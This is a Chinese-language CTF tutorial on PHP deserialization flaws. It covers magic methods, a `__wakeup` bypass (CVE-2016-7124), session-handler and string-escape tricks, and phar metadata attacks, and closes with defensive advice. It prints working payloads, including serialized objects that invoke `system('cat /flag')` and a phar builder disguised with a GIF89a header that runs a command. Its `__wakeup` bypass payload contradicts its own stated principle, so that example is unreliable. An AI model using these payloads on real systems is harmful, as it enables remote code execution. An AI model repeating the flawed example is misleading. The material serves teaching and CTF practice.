详谈CTF中常出现的PHP反序列化漏洞
字数 1783 2025-08-15 21:34:04
PHP反序列化漏洞详解
1. PHP序列化与反序列化基础
1.1 序列化概念
PHP序列化是将变量或对象转化为字符串形式以便存储和传输的过程。序列化函数为serialize(),反序列化函数为unserialize()。
序列化格式示例:
class user {
public $username;
}
$a = new user('Bob');
echo serialize($a);
// 输出: O:4:"user":1:{s:8:"username";s:3:"Bob";}
格式解析:
O:对象类型4:类名长度"user":类名1:对象属性个数s:8:"username":字符串类型属性名,长度8s:3:"Bob":属性值
1.2 属性类型表示
public:正常序列化protected:%00*%00前缀private:%00类名%00前缀
2. 关键魔术方法
PHP中以下魔术方法与反序列化漏洞密切相关:
| 魔术方法 | 触发时机 |
|---|---|
__construct() |
对象创建时调用 |
__destruct() |
对象销毁时调用 |
__toString() |
对象被当作字符串使用时调用 |
__sleep() |
对象序列化前调用 |
__wakeup() |
对象反序列化后调用 |
__call() |
调用不存在或权限不足的方法时调用 |
__get() |
调用私有属性时调用 |
3. PHP反序列化漏洞原理
当反序列化数据中包含用户可控的恶意对象时,可能触发危险代码执行。
示例漏洞:
class HelloPhp {
public $a;
public $b;
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a); // 危险点:函数动态调用
}
}
unserialize($_GET["data"]);
利用方式:
$c = new HelloPhp;
$c->a = "cat /flag";
$c->b = "system";
echo serialize($c);
// O:8:"HelloPhp":2:{s:1:"a";s:9:"cat /flag";s:1:"b";s:6:"system";}
4. __wakeup()绕过(CVE-2016-7124)
漏洞影响版本
- PHP5 < 5.6.25
- PHP7 < 7.0.10
漏洞原理
当序列化字符串中对象属性数量大于实际属性数量时,__wakeup()不会被调用。
示例:
class score {
function __wakeup() { $this->name = 'Bob'; }
function __destruct() { echo $this->name; }
}
正常payload:
O:5:"score":2:{s:4:"name";s:4:"john";s:5:"score";s:4:"1000";}
绕过payload:
O:5:"score":1:{s:4:"name";s:4:"john";s:5:"score";s:4:"1000";}
5. 同名函数利用
利用不同类中同名方法的特性进行攻击:
class A {
var $target;
function __construct() { $this->target = new B; }
function __destruct() { $this->target->action(); }
}
class B { function action() { echo "action B"; } }
class C {
var $test;
function action() { eval($this->test); }
}
利用方式:
构造对象使$target指向类C的实例。
6. PHP Session反序列化漏洞
6.1 Session处理机制
PHP session可通过三种处理器序列化:
php:键名 + 竖线 + 序列化值php_binary:键名长度(ASCII) + 键名 + 序列化值php_serialize:整个$_SESSION数组序列化
6.2 漏洞利用条件
- 服务端使用不同处理器处理session
- 攻击者可控制session内容
利用步骤:
- 使用
php_serialize处理器存储恶意session - 使用
php处理器读取时触发反序列化
示例payload:
|O:1:"A":1:{s:1:"a";s:10:"phpinfo();";}
7. 反序列化字符串逃逸
7.1 关键字增多场景
当过滤函数使关键字增多时,利用长度变化构造有效payload。
示例:
$c = preg_replace('/o/', "oo", $b); // o变为oo
payload构造:
a:2:{s:8:"username";s:44:"oooooooooooooooooooooo";s:3:"age";s:2:"35";}";s:3:"age";s:2:"13";}
7.2 关键字减少场景
当过滤函数使关键字减少时,利用长度变化构造有效payload。
示例:
$c = preg_replace('/oo/', "o", $b); // oo变为o
payload构造:
a:2:{s:8:"username";s:44:"oooooooooooooooooooooooooooooooooooooooooooo";s:3:"age";s:2:"15";}";s:3:"age";s:2:"35";}
8. Phar反序列化漏洞
8.1 Phar文件结构
- stub:
<?php __HALT_COMPILER(); ?> - manifest:包含序列化的metadata
- file contents:压缩文件内容
- signature:签名(可选)
8.2 漏洞利用条件
- 文件系统函数参数可控
- 可上传phar文件(可伪装为其他格式)
受影响的函数:
file_exists(), is_dir(), file_get_contents(), stat()等
8.3 利用步骤
- 构造恶意phar文件
class TestObject {
function __destruct() { system($this->cmd); }
}
$phar = new Phar("phar.phar");
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$o = new TestObject();
$o->cmd = "whoami";
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
- 通过phar协议触发
file_exists('phar://malicious.phar/test.txt');
9. 防御措施
- 避免反序列化用户可控数据
- 使用
json_encode()/json_decode()替代序列化 - 对反序列化数据进行严格校验
- 限制危险魔术方法的使用
- 更新PHP版本修复已知漏洞
- 对文件上传进行严格限制和检查